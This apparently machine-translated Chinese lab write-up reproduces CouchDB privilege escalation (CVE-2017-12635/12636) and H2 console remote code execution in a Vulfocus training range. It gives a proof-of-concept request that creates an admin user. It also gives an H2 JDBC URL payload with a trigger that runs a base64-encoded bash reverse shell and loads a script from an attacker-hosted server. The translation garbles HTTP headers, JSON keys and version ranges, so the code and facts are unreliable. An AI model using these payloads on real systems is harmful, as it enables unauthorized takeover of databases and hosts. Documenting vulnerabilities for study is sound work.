使用Vulfocus射击场环境进行重现。搭建操作及文章请参考具体搭建教程。请参考vulfocus无法同步/vulfocus同步失败的解决方案。
Apache CouchDB 是一个开源数据库,专注于易用性,并成为“完全拥抱 Web 的数据库”。它是一个NoSQL数据库,使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API。它被广泛使用,例如BBC的动态内容展示平台、瑞士信贷的内部商品部门营销框架、Meebo的社交平台(Web和应用程序)。 2017 年 11 月 15 日,披露了 CVE-2017-12635 和 CVE-2017-12636。
5984端口
小于 1.7.0 且小于 2.1.1
启动Vulfocus靶场环境后,根据映射的端口号访问
访问成功后显示版本号
访问登录界面抓包测试
访问地址
/_utils/#login
抓包,将请求方式改为PUT方式,请求包后添加json数据
POC
PUT /_users/org.couchdb.user:hack HTTP/1.1
主机:IP地址加端口
接受: */*
接受语言:en
用户代理:Mozilla/5.0(兼容;MSIE 9.0;Windows NT 6.1;Win64;x64;Trident/5.0)
连接:关闭
内容类型:application/json
内容长度:108
{
“类型”:“用户”,
“名称”:“黑客”,
“角色”:[“_admin”],
“角色”:[],
“密码”:“黑客”
}
只需在相应位置修改你要创建的用户和密码即可
使用创建的用户名和密码尝试登录,登录成功则漏洞利用成功
5984端口
小于 1.7.0 且小于 2.1.1
该漏洞的利用需要用户权限。可以利用CVE-2017-12635漏洞添加数据库用户并执行命令
环境启动后直接下载EXP,并修改EXP目标地址的端口号和目标数据库版本
下载地址参考CVE-2017-12636/www.sychzs.cn
只需修改EXP中执行的命令目标和数据库版本即可
Java SQL Database H2,H2的主要特点是:非常快、开源、JDBC API;嵌入式和服务器模式;内存数据库;基于浏览器的控制台应用程序。 H2 数据库控制台中另一个未经身份验证的 RCE 漏洞,已在 v2.1.210+ 中修复。 2.1.210 之前的 H2 控制台允许远程攻击者通过包含子字符串的 jdbc:h2:mem JDBC URL 执行任意代码。
Spring Boot + H2
spring.h2.console.enabled=true
JDK < 6u201、7u191、8u182、11.0.1 (LDAP)
20051 端口
环境启动后,会看到如下界面
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\
创建表测试(
ID 整数不为空
);
在插入测试之前创建触发器 TRIG_JS AS '//javascript
java.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,base64加密反弹shell命令}|{base64,-d}|{bash,-i}"); ';
python3 -m http.server 端口
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://buildIP:port/h2database.sql';\
以上内容仅供学习记录。如有错误或纰漏,敬请批评指正。感谢您的阅读。